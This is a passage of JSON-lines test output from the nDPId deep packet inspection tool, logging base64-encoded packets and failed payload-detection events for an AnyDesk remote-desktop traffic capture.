J2TETv9Py0oCXrnLPPZUSctO2QMjfW10SUSWGKu74Z6QVp7Cn5Pc9PXJp3y24qEFQH2nDL3NhAx28DbD\/Ac8WmGR3G60zDbTG9jI+RdK6H3oZOgicGibwpUmxxCA\/\/68EE5GXBGo0cQORIruNZYx4t+c4kgk2MkfXWZ+iS5w+OB8LNtkEddVwFGptKTZS6O4YY9pDOwSBjJcg0Y65kcZDQJu6NKJT5JBiHMjYLAmnu3ftSSQeDjMgIDENZBtuW4o7sDldqgtZWWwfqo8fomqXhTePZQa1xH9JbXpfIjffrURJ6gRfb0vI9kH9qd6nHH+C5gVAUwC5uPr7Qh8iKlduIZ+1WRNzkEDBNWEkDLXZHn76JOuPerSxuKgojR3Rx67E673Hz+58XAAHGxK4Tw8SzvoDJF\/f+jz9KmleSJUdXpyTux06maZI+tW0AugJo0Q6iB3\/502FJdemaBLEZkVFB6b7yWwKBG84r8MdI3oQGvvKHKJkvhB5kfTkQQFJn4Q4VY5IO5qw8wk5VWN6uvbhbgs28F4pVZl67XtnKr33qr8OxrCVas9eYc2mJg28\/dGVs6L9HkLGlu6nBOBtweZhThizN00QeEeINla8GN6h+tV3EBHXushIuuGBVyIDO01XZ\/JZZWCSvEj8lQ\/gYKCK1IBiOyjMkBAIUsqwgqc6CTrJB5hw9Fq26Dn9KB\/RkLkSR1d8Zf41tEfrebm\/uM8Li1rZqai1Yk7JsE+2xsDTs194woHEsu5XPGkBF3C2D31F+IyTYboz7wXDLqj0QnvvwHQ+l4asNAbKA\/l8\/d7PX1eP2bPjy4C7A2k6+w4andAMQ3IETQHqPsUM+EE84v+N6slgitgZLowStcOqrQ"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":770,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3329} +05975{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":772,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977608,"pkt_ts_usec":977292,"pkt_caplen":4179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4179,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeWVAAIAGAADAqAG7wKgBstOUG56PHem+WcQiVVAYIA6ExAAAFwMDEBhZ4hNO+msVSNZ0uOFiTcJv3iAQeTVNfzXUW0wnxs0Ry0hXwfgLN4XvrW53aJv\/x1ALluHqm5\/BVQcpTD35dU6WWGlp3yXjFvS1GcqNWkcnep3rm1h2SwtWHj+pL2c1mFCts3tk\/ZMRqPOLl6Zrd\/Kaca5YEf3GCiUW4UqJoewaWep0YsH76\/5XVPTLSJdY2J1XjybiFLBt\/2hIAnMiDvuJwdSPw+gIatnwpXRV9qJrhFoNL9SJLytZ6bQFwryeDc5z41RFL4MA9qFVeEE3HRLdVe31LwaCWuzMSg8paHoyx5FYJpnaOi5FYHET8jYfD4WUm4iyel7mVTZrfSVdc0yg7La\/tP4+lf8JRVYNmd3ak5PtmAou8L8GuPyAfJSQgW9b0LjyPUZqcWf6FXD2P6C\/AEwldpZ+KDGXzrsxKzTrhC85w5grxP9BI9BAdVBY62A+zjLms35xHgxFTBccY8Lu\/rxifWYm2YdtKlr3L4gkqRWc3V8a5wSExV9B+RoYeh762ph8BT3h+\/kroMIw6c6vNImQSTHQQXc6vvIaek9YtF9wfI3\/BarcYPChgdcj1x23bRnHrQpDLnP2sRNcOiwybSM2KRRpIQGRktRfvffKwksV+66VZIyU3SdhdhwhKmZc5YuyxjDWsWl0Ykofb35UXHU2tww5s5QFiyYDKM\/zM0WnXyey421nZ1kgRzJQsV4uAO7Ay8LuE5+EaDF7EIA6m5I33fe6onvvFmlDHRAJO4jYFfmLqBdAIx5NzmHQfgkVjSBDmdxfX14r5gZk3yTt8z+epVMSouVUORVPz1nOJybQif4DCOPcVb+enSd1MMeTdE4E3\/i+W4QzSx\/XshNbUHNTY43b3lwvA1EkLnYSpjHkbYf84HQR6BIjjV0MEdGeL3dWa3Gej+EwWvt4n+arBN1dEL1CE8T11W67wB8n47Eaj4lKza2GfHhw0xYpBgDFXi2Eqkkq7iXAF6KxlodfQiVeFU7FXsjjYYmNjy5rN74skIhv4oeZ1B6i+LvVsjYb4tBWjNjb9Y1uqYlOqYxjwPM2bBcU7WdKnu6AOWLdzXll6vFD0tTunPjqEG6gW0G5vQOprpxGLata2qHyRbxNHPb\/C3nZKw2U8xlVAdP6Nzr70JMQGIaJ96vxeeQ\/mKNgGi6lU2xg2cZJcNYhoJ0Jp\/iwqPP9zHT2FzL06ZkXRpUm\/PacNAhZ7i04LBLUejski+VEu6nmBjQaExBBeto6eAJdLonYhM0jNdo0aL8QXoFoHb6EHnqzM50mB7R+8YTVMzk5oDzy34t4ZadaLtAl5aMUx7dkrYTGN549enmmDV+WJ0\/XR05JXpEkNlK\/3An\/RWwbKMD57xfqSslX4GrRNamY1hjf67PqJafOUJoiCgFsI0VFTsUJSIv0S7u7x9UHAulpLfSy7Sbbe+2n8Crdz8DVribP6opKfUQNhujjxO815Xkw1ruhXZKhrjq32CSgL11l5NkMT+6UyI9VQEjoznWfC8ZDImi4fJHGoaeIc8FJor+jYVSK9mXqwM0ATwQV2FQEJTs\/H7UHluH+p1f7uLQP\/ZNAuYK8PI6J0HQYw0vAV85\/LGPVLdjKwThZPvtGUwc0Wz8AGoIBFZbP4ed29p8O\/PPYFFzzKKSRQOpxiHfKfLpAd3rPeUrdIIIu1XWHx3IY1bC1vQMlo5plWpFK0\/oetZi22LW4z81gyBnV7vZDo5Lt5SnjP64NtxDLSTiNy\/2lNhs3lO6CKqhx7a6jbp\/02RnvswWbKehZTl9OSEVc8G52skGm6egU8N+zV8SrIAbq8j7VCCyDJC+Qy565KdtJ0Hw9fuRS+qVwA4Uc6dy6WfT8ztfwOnrRu6M+ha1UQo\/7\/f8RmpkbUCR8KtQLrEflMhpt9Wfb35KMUCoowqeSVwKuUlxEY5+wsclwDVX\/K4o+FTJwG6gq8pcBES74cYjqlcb6I8BpoNiQGTGOYZyolJ2QR53i5O5Lo35Kcf8xN7ocFhMiVlhMo9w9psuKI+gI8smdF0EnpZhcaBrCClG1u4raTJCgCkN0+7tqKnVdkk28MCN08sPXGVYHQk\/eihCVkr3uICG2l0e+pT68itDL2hhYscz7mcvr8Esb22dRK4qSYcFb2SCwiyqeeEjH6JQK0al9bdScK07p8fIaOPy0j+zU7SLdgKszUJEYA4Mq+ooK+JPfo\/esd4AjscICiDIljmsdj\/hciNomm5zWwRpaYOT0o1ukyDyEU35nv525\/BLw6uB6oVQWCT4mC\/mjxG7gw0xIusSGoaAOVwGpiCxwWl643Z2ujkYYUvJnxzBxuutOOM8bTor7Usr7cVRdxmrKPL2FeQqTC1ZQnI8os+UQUQDS\/p0xWorEWD16V20oR\/ZgaLYuPZROzLWjnuAA+D2CZMb82HEAMWWuztMjO0hK0Mz2Nnr+w8+nGkbZBv6tKx0ZIDn7yDmNcJ1pay7tVlrLMc9JbUtoD\/M+X\/XaUjE2dbEou7qtsP2i1EcSO+iZDt7GSCBrCIq7Ac5Al9lXJXvzLQkGeV7CkPewe9XT13k5uh5cXhT7ZkkASrt6jhQNIr+bSt04M1EPWM0Pm\/a3It\/zuCX6U\/8ctAxSddf85kBQsXu\/2iuuzLbnoxkCZ7GN\/TpuLK2kdabgz\/N6vl3O2NB+0BEJP3hJWcNmNtn5axP4PAyPYpk6UMKoFCuuKa6BKRUjaLmUq7KZihlNcmwX8l\/RYo9gg0eCFTvaUhOU985BAmqYPemkPE0BkzfqXRkBT8tkxfeRbNlbmLIuBKPkYCNv1XgXlzQndXAiUxbUNpp6yowcMkKJTWpgr9f6gA2YC4LQKxKzExF8xn1B2KeCYNkBeV6g5WQcjcq4G85pewF46IwmXLg2iydihvAVV7AxhavV8oDeUvWbUOIxdIf8qL\/Z\/gopWsRYUHG+U\/dICK3CizAO0PgiTBQHtILZpIHPo3xrsvqDdqgzM3B9+wE7+A8iyaVw6zA1RUcQW7Rrc0WWXY6JDCjgXdZ5lvgOyQXV\/HZo7itgFJtaZcOm2aCbVEWDIGYGl83qFh3R0s\/Y2\/hlh85+FxcWgl4cEesL594+jTY7nC5PdVlchufHzgd2hReDr6pXQhPjC6XLh1b3EIIP++Y\/2DYgg8qqBTu2YOYejtexVKdEsEK7kCG7EbK3EXxckpSpKFM2eomK8qG\/2iZH+wGapXcceDKUBMabdfIkxsE1d6S\/3vvbDX9CfDIHQdV9rMkJ12A5c0+WNbIgn1JoriB7ruDhVg5+2thLQnXPFsBJMs9A9WO5MaNCqdaTVXQAKesOaa63ytGEnd8S+olRwiQ\/6fC14Z0wpNxVqMalil6Nl+ybsRWCvGW9HdkYPr7Bc3afPK\/+N3MyWCxdThNqVgR+241SgAzcqxpXtbYHXMDQYsHQIGwpLIzOmcy0i8E7GVrMXVihEy4JTJ2XziLIYy8wGDd1RGKBT1vgU1rxznAL1VttqOtkCUGflrtqxWuQlmJUllrK8Xo2akpXnmE513YfSUCLhKoS69jb85AEAqTfE3LvlX\/D+mvpRWI2Nxjiq8rUhPWOA2sFszK+okDV8nei56xOT87KHjy8X6gqERNVNlIFKT5ADph9t6m\/grs3GRD4sirRLMMyFC55f4\/PEXAsjJhgerWKIQvqIT5dPJtsFzOk2Nohq5g7J1mxcDOAeacllyBmfk5FqdHFWVMwWSTlMxSQdLzcFoZxEjaUZtWCH0TByg4JyyV+iepGib9Kb6TkFrIPmYwlFwK\/tj7Y\/v\/9SZDyOmXrqI2zfbbGeOzZH51\/F\/QI6lNA4rdgVD1jNC\/WVVH3zudq1mzZCmgyMq3unLgNqjsllcF7NUHjuHK19R++O4Yi2Y2rgqr0oRMcsxF+y0mZltO5yCaRxXOCEmCEW7vsQO\/UyZZkN5\/Ows62gllMAKoqiCP4yom2\/uuA4\/2JDdOt7fltOHO+\/sQXo1CYV8iYesdgRBB\/\/bJxZLGbjUGBqLPw\/ewGdzAv6FKhMxxz5sE5Zh4Xq4e70wdFLbwqyQdXkd0bQgu01atuiNTe\/4EBbT5sfK+bqd1aMj8Ov2zkTww45FzHIhiUBDEono725MWUosgnzk4sg7HeVDOmH74v\/0k4XvwPj2MhmaF+EmQT\/tWm350SOXJeBvOWSpE5pa0AdOyShu26CcDN\/Dpi979Gn7quzIWjv7Y\/SVQMIKoTNJGHjiz4Jmd+n8nc+q\/uNS1vJl\/H7MeltE3UasfAhTLbis6IyxeYotXjYZ7ggik2ZvbFF\/Z6WuAn+lSDkli4nk+ewqx4YVL6Ezm5ug0eWScW2f\/\/sgvIHmOdopF1EPyRGSRAEU4symmniYq9cBbY8drPmNki0dtXBd3hjFjezDxSJ+BVmZ3YAwZpDedtmYbdWNr+SX8g8mUsqR\/r+YLwTj5LaVhUtEwxXx6VYpAzKmXZhp7UFgmnASXeTaCoZlyv132QyiSWdUuGvOD\/gN+zlXlHftUoVRN3R2GLAQt9d+b\/gKuzuwp+GY2vXD9\/CgnCP2s\/XRLuf0VFnm68HUIjTcLz+jqK8Cz+BcyPP7BHR8YykavZr4hxX1kxDEpIVpxp151Is2OeWh3g5FQxafakk7o0Vh6DeUJ14w4rewaAJJOs3HJOSkqF78r6RmeRpyyzwu8vVES8uYEYRwi0sGiZS3kueoPbEVQCRC3tGwpFnRXIX8esQkX5q\/jsyh2pbPu5Lfy7y1XUd7mz3p8+7BElPFMoBDD7ptGskLpPHCvaOxrAAzRmhJV99ssunlgJrusNq0d6sCR6DjbN5EWmwkhlYhtwlbympgfQiZD9gTlXF7pg0S+eXuZluyUYhKMxYYegtD5whTiurvFav+D2jg6kber\/2SAaMa951njjn8kkpW+diVcalxSgBm2QpyMdNRJuB3gCk8X4otgjWDBYuAS0zwT1NeFBDSiaEcJarEAug0iWlfJimSoCAa3gl8TKsZ8YReQbGEyoVyMw+anqyw75fPX8P5KEoykYtNB2FfAsMxOIfuBCBq6J55vE3qO6uX49QbrtKeqBXhd4x4J2m5RxfOanFI77xmW+FKkC\/JGNq3gZjGI3Tk1NNY1pG\/7bRAdGNIkd+hWxeFtp1s+w5hmrgd4+54jzhFnnc2sexhcW+23hJeP15fQztw\/KMS4k8LKPag57rAF8ByTCPw5Zno2lUnwouFePgcp914lFEGpMAFJPaUWQskF11kk\/Umnkd6+R3kz9eXY1dHlZsq5AvKIgN4jz3f1xzw3LzX0sNYhGYWtgZrVG58ENyJPW7TPrvDnrN4cnKeMY+D1dj6TANDuAaCo\/lwxLgtGxBdvMLcZyRGk05G0DGS48uRGYQ0akBf72eRQNoUg2Zzy75O7CSlxtiYbe6WIs7DBaSfRmgw7mQ3mtvxGblYphsThwOQAZZZLjKjSUfuw8A+n5dUj0bOyN9aiXIcn7c+UdOlM3gZf+LKQ4CUtNIZ+r\/5oskbSqC\/2zWyTMaceQMBzMl1jw3OIq40Uj"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":772,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4145} +06375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":776,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977608,"pkt_ts_usec":977593,"pkt_caplen":4494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4494,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeWhAAIAGAADAqAG7wKgBstOUG56PHfnbWcQiVVAYIA6ExAAAFwMDEVNZ4hNO+msVSQ9T05SOZl4BzEcvMVE\/PpknA\/yd4kN9ur5D1ZSlbYyJCftd0Ynj9sdDOlFjEBRgITA6FL92F0ObKH2yijMbDK7wsRXUwEg\/JVjEYuFu\/IQUC0Hoo2ce6SVHQ0e6GtXIZhhk+cPCaDg28c9F15rFFKCWmkXeDoj+96UNJ+pGwu9pm2FsNI17XSedUJI\/kTxei0T32AgHiS8ZGT8Ms873PFTLEfNFsdj4I276tXs3J0qn5TjOg5d5vH81YHhIB95ISslh9wzcYv9pU58nDopkbUdGK3v63F926WIGD9RoOzA7ryHxxg5h66SVZDTs3n33bvHgd4RcjbkimUulO992uJ0jZ+fVocJWcwy3B2uf+cJMeI9go8P5tOuLwMDfe\/UaCX4NH1cA23+paZknBru22hlSrRzyiCHJjl4X\/iv7inYyKtA6FJN7w0puW3Brky7YxUpq24oqTULGko9v8FnI8PINx\/bjlHy5GHy9htOK79tJZEnOHlAx195iRsdQnEj5kbI6WvjaQSP2fw2rWr0PokvIuZIYhhX3lfsxaTOZhdeFhzsVGr4+\/IFBhWCIVzqOz+tXGFw+Gm5UZDNiNRIyv42XXyNQIRpAv2kGAhYOVKUsqMyl2ajvuJaA3ZpxBkAB0E5kDkLPg9fh8B75wCE3XPpz4RkQRGkclezihiUMAVWsxVM3MN2vDYglYCcCjl\/icS6zCDxJIhtxCmhIhNlvMIATmPNDNUIcTGvE4lb281ylEyoSLM5QBw1RWK+XKUIKuvG2lTuswpFoGSRJ2de0q7Zzm9RjSS7R1pbWL26egpr8Sdh6PddqSsW+eHUTq2XIpWXNNxd6kmmeWVyFG6WUTSZMDXIM2VdPFrFK+ULJv+MY+SOMGXiUnvC80t0VyHBgCdC3EgkVIqMV81BEwnn1h8INdKwMYEys7U9jKK3Jvad2SQLceg+rGLHwzDdgGpbLYxRRZaJPEZxCUDK364ca5Iw6pdP2U5kuznbqH0jW0f5gTjO2zfL7XxGW2hmtufQnDtcF7sx4Gg\/rRSumIPSeYp7mQUNnOzKhU6aIrAFWViJ5C2cmp2dsiTibMGu4PC2osBXWd1q0wZCNn2lMX8Wl3b25mGUhXTOLppWZ6HjsRvfpIMcAlrhmcEHiBXlPDSbNEw5x6h1wN5zWZctE\/GsYHaoHX5smKt4c9ocH8z5iycb7SvL1xHoYPGlFjOWXtdIWvoc\/U9otfa5QAIHf1HQJJSsPP0H5pMqjjCaxNwzACkQbqlNQmoysD+vgc2Snc7JXR6dAE3BHffWr\/FKvJAoIMvIslJiaYxEoVuWx2RYIa9Uv\/b5\/autT+45WZ3qAm3Zjj9P36ij16\/NA3s545+RLXCobe3JlJbEv+pg7mkvJj27HYjm4D4cCYRGghhW0hx3OJcetNDr7MmUlCW6k9OE2mhi8s1qr8gxUH1oUDCRSddy5BywduXNr70YmBPxZHEjXJvRsqrq520bbpkB3YYlWuQunxDTSnMXuF5lFk58GFKAA5ixHNUySTEgAtacWDgpQaoxYKMYONKr51I9HYHEzY4iV7P4xWNwYw6pmXYu0iyJyHnpuuQJJi193aRapmbrGNFN6BKtkYtL9yPgS9I5NCmHba0EHAe5B39aNBXslLK6GP4m36UBVP+LNT3BVuWrMgtb0dStUL647TYXgfO8w3ce90UDPu4SXHtjh4u7cRhVDB2KeNqru6v22wwbFjxSsXuU85TOA3+4qWHcPt8EzmzoxM59ga8yDHbCgcTBRP7ADsoJos8VH5CYfJ4LA8rcyhwZkjXTd\/WGHwDNXTBbPr7KJMdNFj+5\/ZRAztAEbt\/JV5+7aXud4Bds\/cwzuC9cgBiHRF5L0pAKlNatFu4ZhojvoZ0ViBWu8FJX4DI46\/073o3ZbetQNfRldvcb2oLNdnx437IH0pKXtYp245dKQSJr9kdg1jn25h72IJou7Tv1Om\/6mVrXs0qRi\/Q1Tjh8dqjlrs49HCNDTyCJ3+loQFf+VQAksSNcO4s0BZpiFrze3VIcqW7+nh00AY2goeTdsSe1sJM\/ZbIQz7IhR5RKagtvigTvk+QISenP0mubauQWjxwUAVYIxAbIYzynNa8YxaRJhesNA5ynNyLM0YELwvdgGU0Ama3QvcWOTV9tI7uWiwWW\/AZDhOgzeSlFQLkqiTmRaDW3jS3mMRkIXXz6mESFKvzcDlGOinqNFpC4mp1\/aWblgR81F4VkwL0dtxCz11xvOSOaX9OTlt9A0f0FDeWGNijbwDuH7qyQuGGkjWYWb8f4u\/EASKqL3910E7OmzoQM\/XWb24mfZ8bT4C7kq56lXNBmXhxWknFPb1\/OuOY6aUzBRBAbDsEh+kP9e7hVV7dqZCyYCF\/28TBOGSNQslt94hSjlI12tUdG84dirkm1AjAbDti3L8YgS+upwl6J\/bBXzwl7givMdf0oMggQdumkqpVwG05ilUwaC1Tf30XD\/y6piw330dFdblrUMIbG4NiYYycTTYt33+0RvMM4D6lTXZAZVGTiw9TLRdtQzYNi5lPXtRRSZhfMHFQczM8CQ8MliTfKgdLHcI4WqJNToW8w5Rd5QC7cYa01rEqFVdUiD8do1nh7XbdHHOX5ctauxeq7sJX0iy4gL\/LYWC9OUBXESnmu6SogXKk\/MQ6XIl57albiFTkfgVbSZmfYXUv+Q1DXcZ+6cWfmpGvMSxz50D37pbzSpa+JEc4MSTghRaXEgDcUbk3nvZ6+XT7NUwTZd8AzQ5BQ1tzqG28r8nCUFXmP+mlYr90RKKGmc6N+LW8iM25tuKLqhW6n4Kgd4AlbB0rgjqkNaKRV5lq0Q94re771vFD+zO\/VvA6dkp7xqryHl2Hj7RnMVnr4Yyyon3jRL1+186tFVxxcLGKAm5dJd46+b+SkEghrG+y7LJJQqIQ1oylgQOyWRGN\/d4zofZrUZFjvsiUz+QvLMlwK7s7Je9P7C98t6wnys4dwRtqwigZ1DjH\/gYJGKdpV+yeggZBpp04q2BWKRsjucTrRLxw2x6WddOrDj2HV5fF9HHeiGY5uMxhVI7dZ\/ZDOdZIiOCczotyIuP\/HqAZeuGRKiuzpIscWf0PRzrY9uFgk4MhoAEt6jVfn7LPDcpcWHiJsiyw5QuFNEuugLh2WyNssGcYqqdVO4ZMyTTll70Ku9802K1WWrxLvMDWnie6cUvRB5PIPif34iCcigSb1fx9xnzbeJfDPw3HSSE9Lo0qYTvNysHSm5m8eubo0xOubCwhJ6Rym6\/gStIt1Ub4\/AAsfoHXz45HElEMy47rj6FbjCR0lXQzE+mDCmhxC1cH2Y6+DiUbXEa\/XwHS2gWeJzNYfdPjBCvM4L58igc1bQaxZjSKD\/Tf+Ux0iDBs7bP9L21094i8RBGAupObH9AL5Q\/EhsFzrDXfJEV\/uJbWAvnTjTUevSSwBzCQhLYknX\/nts8OVEymnvkNM+AmPUNticqnWDyAOQ8UIGV+hw+fGPdiwbeJT93nyIvjHxleI65ZPPIVlR1xcKwKABLemMOwk1kKKWzdCUKiHkjWtT7dmaSybTrWGYZ5TzjYLJYfdna38MFEYg0dllXkKxRfrGQUPjStsXLp+od8iMrAaboX04jpUdqwOgUqZLiImR0+pp0jcUKxWab6jw95XjW\/oxo206upzJu4nhouXFYRdVOzmr8TKTrcp5OjnsCYd3Z9YUeStmAYOQPpt\/ofBa7vnscN0BG1XvxhSvGCu6VsFkUDeZudCipxDr\/+hPTq\/GvmnQzvYZjDsF6JUpovH1LStnheCSs0QlyStoKSEPrsxfGPdncCRYrbhyfmevp6j9G5xCYxpKxDI7ckSnw\/1RrqGLrVJtpKxl1htT1wny4wPvKOfHId5vyWM7TFmjOA2XDi0BBe2p9oclsjz88OYjlw4gDgqaUiyVZYhSDms2vJJzzlqBKt5W66lo2fB1yIXQFrxWErirgcZ5PUTSL1nk8XxK3S0kbqejGgcxbGNcjKpecb9c6V+2hHkV82rB4sItUlNUf+tPB4njks5ambSnofBHWEmMQ3lueicoA2cDKFpPLRHuIIEHCP5nhEBZtr4EddJ4Bmp1G2SZa7urYv4Jqp7h2zWrDAaK+srS+G3OQ1W1OEQbDH00XSRSeahVOxEx9kTznSpIykFAC2wikM7oegUdDdo+DPPDP6d0kpC781UEQw77Xp\/GWsSl555QaMGSAstmAB\/2aeouW3+stjQTT9wXySSxqcQKl\/dS4iKexBoZj7GYrxQcYElCFfWWGUg4UglR33HImJikFbTvSzPDGzfhxa3HKb+uC4z4yoiZdxPlIOELfaQKDL947EqDooLYw9Td1Nu+LI04ZvaXLFI9kvVnwf1w67uiRSO26Meq0f0HSmWuSAEbiBk+8me\/NeBbe5Yu5kqqwPnDCNEeKRJZGevjls+v1vH9Ao4zmmEn8swvdn3a5W4B5iSlyq1FvRtXAA1wiujs0Ojeb42kNLKL9bp8Ow40w5imS0ty8L15OdO14Gj59MxB9+rRrsVa7PGoV+JSVJ3BM19Pmy99IZ2T7VS9QUihPpG7Qs7qQarA7nY0ua1Ky0fE1PepsbF+TECH9M2s\/pNqQwNvsCleu+uPwWJ4aj9G7IEgBiiAKYMPP\/nZMRty6Ihdmp1ZSfCtPxMCd6m2UMEJ9QTBVPsJJSlTkl5jRY08+uZnytGkn9e4TbmY\/jN\/9B7afHgI7PoJgfE7xszoaRqFuMPfE1fdgXtV3KvAq8cce6jAJK9Oet2TeGhiD2DLRAh5vr65nBgydd3UdUXvmjGdPTF0evQtadKbNT3Drrs8nBuapq6bFboVx7wCynmow5y2CqCLNcNIB5PjA\/\/zbhPfyTqZ\/3YucRIYuQZCQLybfFNc17Kj3NEdp7un3spyW4lVKYjJ1drOBp3DqZirgW6cDYyvD9Smu6zAJFTFFKi4vCYu1QrWVwkpyb\/Vgq6\/ydgcQIWJcKUttevwi6nsAMcr3+1EchF2GgwYR39BTIavpwlyU0+C9sfxhrY8j3YKWQosuzye\/rjwZphiPqMSqWbOT\/+qOCmyM+i94\/lqeZsSiNq06bJqNAuSORcxajSpgxWL31N7I1eT40GUOHTCxDfct52gHjnBhWTMuHD\/aseuv7IysJ1SX849kmfmO8Y+3YLejPaNXpn8J1OFu6GLj\/L80T\/y6Ij3n7VGWIkGHrQA+GmqxxScmKSoLGKCqkZR0bqysyGXcAh0\/IduaiW3pOeBYrqFyfz4FnTr7oF4Q1W82zJsj0516TJJTsyiJ1jq0cTvG5s1hVbdejQUn1FIm9yuic8rrWEzIgutCL3810jS+pc9lyoF1hUMEib8JLlE8z78FfTFKFngQrzhnDkBWdY39i3rTY0jDroiG8sllilntXUSDSEOnQ3\/08e29CHQeij2Sxk0QTN+0e1nZEUsGQRlD\/AUSYhzH39UGio2Cgdamq+Ntuy3aF7eGFI2kHsJfkKs+eFuSx3EYKgkaaOoUZf4BvIx38FQnpJG+rm9vKTQpUCVCmBSyVXMvQuxoxzaizLwuUASWtG+ALrKECOSUNwCx34uy7F0ngAkmewgDfX6J4g3Gdpd6nzYEMkMqDHrkZL1gJZzhHmItULFg9RtbT559Ry8HaUBtDJpCkrF\/m9GwCV+wFCba+qb05RS8\/kSeZIILMQT8Z29lCLX+v1gA30MktzH3T+a10wesJpN\/DFSdwUUgEyqX8um4++DZ1MYSMWzWf7s7+zRRz3w2BFFJ3yV2ybyte0Z7Yuv3+oeUQJ5TzB49XPf2AocU8WZMGhFr282wTFdlNxSOae9NTZt++Nv04oNFdzxsxc\/EqBZDnAUMfBKEKf7FR3TCklDAeRmYjj1bFF2KdArpZ42qpUpyhKr45CoVrDBu1Irg\/0hth95anB6"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":776,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4460} +04181{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":786,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":9625,"pkt_caplen":2857,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2857,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeXBAAIAGAADAqAG7wKgBstOUG56PHg+5WcQis1AYIBSExAAAFwMDCu5Z4hNO+msVS8aep6a\/d6QcyQdB7\/vCaYro7BZn0w7PuPScYF6hBAduDl+\/SFUoiNMa19\/RCdsO1m93D+LTXxEla2b40XiZEQUZIDW9tWsY5cexJ17gx16\/yDIVGpP1skaWyd31WolhkTPI\/2dWy\/wISrWhZoBKUq+uR6nZOQdw6yMpVkRSn7EKf1trJt317sLZC9qyxFlxjeWvPzf7nECgSQwJdgCXr+PXh92VK+KgNNxFXpwtZq5JjA3KLHn7mYVCXristv9K3QYcULyxxIF2coU1ctfj4ZzwknimMUB\/50PEk0bjUfZy2v0ZjN6H8yUYr80b4L6EJHtITjUKhKcAemv6MW6HX+phZo6csqxM3mNrmC05WcOv2yFEwhJ1BLOxwEdEa9ZY1cyuzlQBFHt3QhVYMbMERD\/IqFwkASVbtvR2JjGScvJhVv66eTt2\/gQBlpifpGXDBkshyv+oE+W4zzEca9d\/+Co\/+K2p3dG\/Qy+R+sIAnae6Fu+AKwZmL4zHhzxPVP3v7prbudYJ92KkQhGz3bvif9nGwYhFqna9nzR+cuy6G9mt+DgRF6ITa4u6ZGpAADbQsmPSRO9b0jdoEN6PLCt1gK313m+4rSwme61PNAyW4Iy33iRhJ4TiDvXb+tvkkIPkn4CXxCEsnzOo8T+2Swzj28ldhfVezRlwlx4Swtd5dULRTF\/gcRGoqCBwpcnbnSQJLQ6W4eN0dYzkZDwgtNLNIULlv+oMlX4OmMOZDZeZB6r5DQZ40M57Wjw1IciBcoWcCxvmukARcW\/J0WJ9vLjgVNRDGQLsQI\/HNcmxm8Us4g7snPbzi+YDxLSdFQ64cB64iXIVAAG2r+Cgmdl5977uCRlIvUE8QeV8Rvj1+kBBQCTiUYQPZN+2UpuwLTe0rJEke9FwQGhVTwg3ot5wICl0v36nODJ++Le3STh5W5HHSaseCnjd+TBQ2Dx0t1FuTynMs1zEbDoRbU8R9PkM\/OJ4fXkGYkR3d\/ttS+YJrxGcUCTL\/Al7qKVmSEc3o\/aDt3MTYJURP2sw8Q6rF\/Bc9MAltL6zfDh9kxtEono2+gI3VrcKWkUfsQJqNwBMO72ptVJX40fCV3EdsOqT8EAUfSA2ydJjM+kXGPIVy3RRjaW3yo4psmbF3+cn3ovBUOeU7OpOLotct\/BOOrBN8zaiqQqhpQojQ0zSOAx5xi4hasRxr0p6SaiKnzjUBKfE6h+iiU51pJ1brI\/M\/lFXhZeyMvqKYKq86OlJwAz82NFvCnxew31aw0Ur6PXZcVl6wuyHF1rkddGfpwVM7v8+ADCTUgno2H3uPBBwI9cgu1vh+mhYtrsEms+DO6pMv+DoAQCQM+T3yJ2jRHlQFJMwxKYoENedc2J+Nur25bTxEjLXLj0a0bOY7nBnoZcnEtKVQJlqDlLzSk5\/Aotrwv7b70uXwKDAaWrisvLBnt5u0YjMWzio1D4UeMhf73gAAY5hQInFWK3yTrXla\/8B\/Z3afOLxdr+ww+pI2jVetwW908TGIaoyNvg6d2SqfMDdQd9PgLtG+uBLgJOVe\/595R2pbC\/MYURxAxhKwlETGxebiBLn0nPBg\/Eoi0HWFE9Z28o802p+ANi8MX7BnB8CTKsMNHfnNULxG414W4tQ9rHm98NuQMKKZe0PV6KzbXQeaak2lsYO6RkelV9skzGcoyTA\/zaDscTcyzuNKArv3BVJ9pWFFy4BPJNyU+VLh792X1RTWP2wqPO00ANWRlFrN1J\/bwdrFeRawbPKlTcVK\/wJ6hrGaO3WBNV4FP1r28CjpLWm3zm1Iyy+IhqXc9DBQ4QTV82m9aWFLbuU84lZZcSNIXd\/w5gm0ANC\/qTbPOpNpPttTocFGFItQVLj\/7eFtvGROwbMPWObkAXKru5eXHakUioUMgEi5FN7X4uI7gfqIxdyFFv7LS8kTvQSmZfrky1R6aRtm2bCSR5doXeq1ExbuEqQjyR0q4dXwLP00FE5TW9c3KtmAwQn4owAy13G4EmaX3Ob08A8BsgW+1vDCjrtpNIuLvZJ\/VgfvdBZh5fRl0w4qNgCls6LBxRdJOkn8BsIDVp+VC11bXT1rde2opyC1Yu+ANy8US25rFrwisKAB9Fd1W0EHe4B0pF7nCiQbPhroEy+28KvX7jrHYfaVUwto4FI1kFw\/2K4tKduSr34OFlM9jAbNWGpcNuMhtHPgj542NCbzDyLn+KtcjWjm2yUnAtSAnOVzVEe3pFy6xcd